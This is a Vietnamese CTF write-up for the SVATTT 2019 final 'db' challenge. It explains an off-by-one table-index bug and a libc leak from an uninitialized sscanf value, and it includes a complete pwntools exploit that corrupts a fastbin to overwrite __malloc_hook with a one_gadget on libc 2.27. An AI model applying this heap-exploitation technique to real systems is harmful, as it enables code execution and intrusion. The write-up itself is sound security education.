[SVATTT final 2019] db writeup

Mình không hoàn thành bài này trong thời gian thi và cũng không nhớ bài này có cho libc hay không nên ở writeup này mình sử dụng libc2.27, hệ điều hành Ubuntu 18.04
Checksec:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

Chương trình cho chúng ta tạo nhiều database, trong database có thể tạo table, trong table có thể tạo field.
Chạy thử chương trình mình có được lỗi segfault khi tạo sử dụng tính năng manage table trong một database chưa chứa bất kỳ table nào.

Wellcome to DBs
1. Create Database
2. List Database
3. Delete Database
4. Manage Database
5. Exit
1
Database name? AAAA
Wellcome to DBs
1. Create Database
2. List Database
3. Delete Database
4. Manage Database
5. Exit
4
Which id of database ? 0
DB : AAAA
1. Create Table
2. Delete Table
3. Rename Table
4. List Table
5. Manage Table
6. Return
5
Which id of Table ? 0
Segmentation fault (core dumped)

Xem core file mình xác định crash là ở dòng.

v12 = index mình nhập vào;
v13 = v1->table_start;
if ( (v1->table_end - v13) >> 3 >= (unsigned __int64)(unsigned int)v12
          && (v14 = *(table **)(v13 + 8 * v12)) != 0LL )
{
    manage_table(v14);
}

Khi xem kỹ dòng này mình thấy đây là 1 lỗi off-by-one. Lỗi này còn xuất hiện ở tính năng rename table.

Exploit

Để tận dụng được lỗi trên, mình malloc 1 chunk ghi vào đó những thứ mình muốn rồi free chunk đó (thông qua việc đặt tên cho database), khi vector<table> dùng đến chunk này cộng với lỗi trên mình có thể fake 1 cái table.

#create db, prepare a pointer to fake table
r.sendline("1")
r.sendlineafter("name? ","A"*0x30+p64(main_arena))

#manage db
r.sendline("4")
r.sendlineafter("database ? ","8")

for i in range(6):
    #create more tables until vector use prepared freed chunk
    r.sendline("1")
    r.sendlineafter("name : ","DDDD")

#rename table
r.sendline("3")
r.sendlineafter("table ? ","6")
r.sendlineafter("name: ", p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)*10)

Vậy giờ mình cần leak một địa chỉ nào đó, mình dùng trick ở input dấu + vào hàm sscanf(s, "%lld", &v32); ở tính năng create field khi đó biến v32 sẽ không được initialized. list field này ra mình có được địa chỉ libc rồi tính toán malloc_hook_addr ghép vào đoạn code ở trên.
Như vậy, mình đè được con trỏ trỏ tới fastbin có size 0x70 trong main_arena.

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55555576e5b0 —▸ 0x7ffff7490c0d (_IO_wide_data_0+301) ◂— 0xfff713c410000000
0x80: 0x60

Có thể thấy được là rename table thực hiện assign string nên ở trường hợp này nó tạo 1 string mới ở main_arena xong copy tên mình đặt cho table đó vào string đó chứ không copy thẳng tên đó vào main_arena, đó là lý do vì sao mình cho viết vào main_arena chứ không viết thẳng vào malloc_hook.

Tới đây, thì cứ malloc chunk có size 0x70 rồi overwrite malloc_hook là xong rồi nhưng ... segfault!!!. Coi kỹ lại thì là do ở libc 2.27 khi lấy 1 chunk ra khỏi fastbin, libc sẽ cố gắng đưa các chunk còn lại vào tcache nếu tcache còn trống (malloc.c). Nhìn ở fastbin trên thì thấy lúc lấy chunk kế tiếp của 0xfff713c410000000 (truy cập vào fd của chunk đó) sẽ gây ra lỗi. Để vượt qua chỗ này, mình tạo nhiều chunk 0x70 trong fastbin để khi tcache đầy thì vẫn chưa truy cập đến chunk 0xfff713c410000000

Code exloit hơi rối rắm mong mọi người thông cảm

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
free_hook_off = libc.symbols["__free_hook"]
system_off = libc.symbols["system"]
malloc_hook_off = libc.symbols["__malloc_hook"]
r = process("./db_bin")

# create db
r.sendline("1")
r.sendlineafter("name? ","BBBB")

r.sendline("4")
r.sendlineafter("database ? ","0")

#create table
r.sendline("1")
r.sendlineafter("name : ","DDDD")

r.sendline("5")
r.sendlineafter("Table ? ", "0")

#create field
r.sendline("1")
r.sendlineafter("name : ","DDDD")

r.sendline("3")
r.sendlineafter("value : ","+")

r.sendline("3")
r.recvuntil("| ")

base_libc = int(r.recvline().strip()) - 0xa9487d
log.info("base_libc: %s" % hex(base_libc))
system_addr = base_libc + system_off
free_hook_addr = base_libc + free_hook_off
malloc_hook_addr = base_libc + malloc_hook_off
log.info("free_hook: %s" % hex(free_hook_addr))
log.info("malloc_hook: %s" % hex(malloc_hook_addr))
#std_cin = base_libc + 0xd2cf80
#log.info("std_cin: %s" % hex(std_cin))
main_arena = base_libc + 0x3ebc78
one_gadget = base_libc + 0x10a38c  

r.sendline("5")
r.sendline("6")

for i in range(14):
    r.sendline("1")
    r.sendlineafter("name? ","A"*0x60)
for i in range(7):
    r.sendline("3")
    r.sendline("1")
#r.interactive()
#create db, prepare a pointer to fake table
r.sendline("1")
r.sendlineafter("name? ","A"*0x30+p64(main_arena))

#manage db
r.sendline("4")
r.sendlineafter("database ? ","8")

#pause()
for i in range(6):
    #create more tables until vector use prepared freed chunk
    r.sendline("1")
    r.sendlineafter("name : ","DDDD")

#rename table
r.sendline("3")
r.sendlineafter("table ? ","6")
r.sendlineafter("name: ", p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)*10)

#pause()
r.sendline("6")
for i in range(7):
    r.sendline("3")
    r.sendline("1")

for i in range(8):
    r.sendline("1")
    r.sendlineafter("name? ","A"*0x60)

#overwrite malloc_hook
r.sendline("1")
payload = "A"*0x13 + p64(one_gadget)
payload = payload.ljust(0x60,"B")
r.sendlineafter("name? ",payload)

r.sendline("1")
r.sendlineafter("name? ","AAAA")

r.interactive()
Show Comments

Get the latest posts delivered right to your inbox.